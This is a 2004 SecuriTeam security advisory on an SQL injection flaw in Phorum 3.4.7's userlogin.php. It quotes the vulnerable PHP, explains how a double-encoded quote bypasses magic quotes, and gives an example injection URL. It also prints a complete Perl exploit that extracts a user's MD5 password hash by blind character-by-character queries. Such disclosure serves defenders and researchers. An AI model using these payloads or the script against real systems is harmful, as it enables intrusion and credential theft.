Date: 21 Apr 2004 18:42:48 +0200
From: SecuriTeam <[email protected]>
To: [email protected]Subject: [UNIX] Phorum SQL Injection (userlogin.php)
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
Phorum SQL Injection (userlogin.php)
------------------------------------------------------------------------
SUMMARY
<http://www.phorum.org/> Phorum is "an Open Source web based discussion
software application written in PHP".
An SQL injection vulnerability exists in the 'userlogin.php' script.
Disclosure of sensitive information from the database is therefore
possible.
DETAILS
Vulnerable Systems:
* Phorum version 3.4.7
Examining the code from the 'include/userlogin.php' script:
// checks the session for the currently logged in user
function phorum_check_session($admin_session='')
{
global $q, $DB, $PHORUM, $HTTP_COOKIE_VARS, $phorum_uriauth;
$phorum_uriauth=urldecode($phorum_uriauth);
if(!empty($admin_session)) {
list($user, $pass)=explode(":", $admin_session);
if(!get_magic_quotes_gpc()) $user=addslashes($user);
} elseif(isset($HTTP_COOKIE_VARS['phorum_cookieauth'])) {
// part for cookieauth
list($user, $pass)=explode(":",
$HTTP_COOKIE_VARS['phorum_cookieauth']);
if(!get_magic_quotes_gpc()) $user=addslashes($user);
} elseif(isset($phorum_uriauth)) {
// part for uriauth
list($user, $second)=explode(":",$phorum_uriauth);
if(!empty($user) && empty($second))
list($user, $second)=explode("%3A",$phorum_uriauth);
$SQL="Select password,combined_token from
".$PHORUM['auth_table']." where username='$user'";
$q->query($DB, $SQL);
$r=$q->getrow();
...
It is evident that the GET parameter $phorum_uriauth will be URL decoded
and if the $admin_session parameter is empty AND the cookie parameter
$phorum_cookieauth isn't set, the URL decoded $phorum_uriauth will be
divided to it's $user and $second. The $user part is then passed to an SQL
query without escaping dangerous characters which is done in addslashes().
Although "Magic Quotes" is enabled and seems to secure the script
variables, if $phorum_uriauth initially contains something like "%2527",
it will be URL decoded into a single-quote ("'") and the "Magic Quotes"
feature can't protect against this type of behavior. An example HTTP
request that relies on knowledge of a username in the system is show
below:
http://localhost/phorum347/list.php?f=1&phorum_uriauth=waraxe%2527%20AND%20mid(password,2,1)=3/*:foobar
When issuing this request, if the user's password MD5 hash's second
character is '3', a normal page will be returned to the browser but with
the logout link. If a login link is returned instead, another attempt must
be made. By iterating all combinations like this it is possible to extract
the MD5 hash of the user one character at a time. This allows retrieval of
the MD5 hash even without the use of UNION statements such as those
present in more elaborate SQL queries. In turn this means that an even
older SQL database can be attacked.
Exploit:
An exploit for this vulnerability:
########################################################################
#
#
#
#
# Sql injection exploit for Phorum 3.4.7
#
#
#
# For details look at http://www.waraxe.us/index.php?modname=sa&id=19
#
#
#
#
#
##################################################################
$remote = 'localhost'; # hostname of the target
$port = 80; # port number, usually 80
$url = '/phorum347'; # path to Phorum, without ending "/"
$username = 'test'; # username, who's info we will pull out
#----------------------------------------------------------------------------------------------------
use IO::Socket;
@chars =
('0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f');
$data = '';
$md5hash = '';
$url .= '/list.php?f=1';
for($nr=1;$nr<33;$nr++)
{
for($cnt=0;$cnt<16;$cnt++)
{
$charx = @chars[$cnt];
$uriauth = "$username%2527%20AND%20MID(password," . $nr .
',1)=%2527' . $charx .'%2527/*';
$cookie = "phorum_uriauth=$uriauth";
$data = MakeGetRequest($remote, $url ,$cookie);
$match = isMatch($data);
$logline = "pos --> " . $nr . " ,char for test --> " . $charx . "
--> " . $match;
print $logline . "\n";
if($match == 1)
{
$md5hash .= @chars[$cnt];
$logline = "current md5hash --> " . $md5hash;
print $logline . "\n";
break;
}
}
}
$logline = "Final md5hash --> " . $md5hash;
print $logline . "\n";
exit();
sub MakeGetRequest()
{
$socket = IO::Socket::INET->new(PeerAddr => $remote,
PeerPort => $port,
Proto => "tcp",
Type => SOCK_STREAM)
or die "Couldnt connect to $remote:$port : $@\n";
$str = "GET " . $url . " HTTP/1.0\r\n";
print $socket $str;
print $socket "Cookie: $cookie\r\n";
print $socket "Host: $remote\r\n\r\n";
$buff = "";
while ($answer = <$socket>)
{
$buff .= $answer;
}
close($socket);
return $buff;
}
sub isMatch($data)
{
$idx1 = index($data,"<a href=\"login.php?logout=1");
if($idx1 > -1)
{
$bingo = 1;
}
else
{
$bingo = 0;
}
return $bingo;
}
ADDITIONAL INFORMATION
The information has been provided by <mailto:[email protected]> Janek
"waraxe" Vind.
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: [email protected]
In order to subscribe to the mailing list, simply forward this email to: [email protected]
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.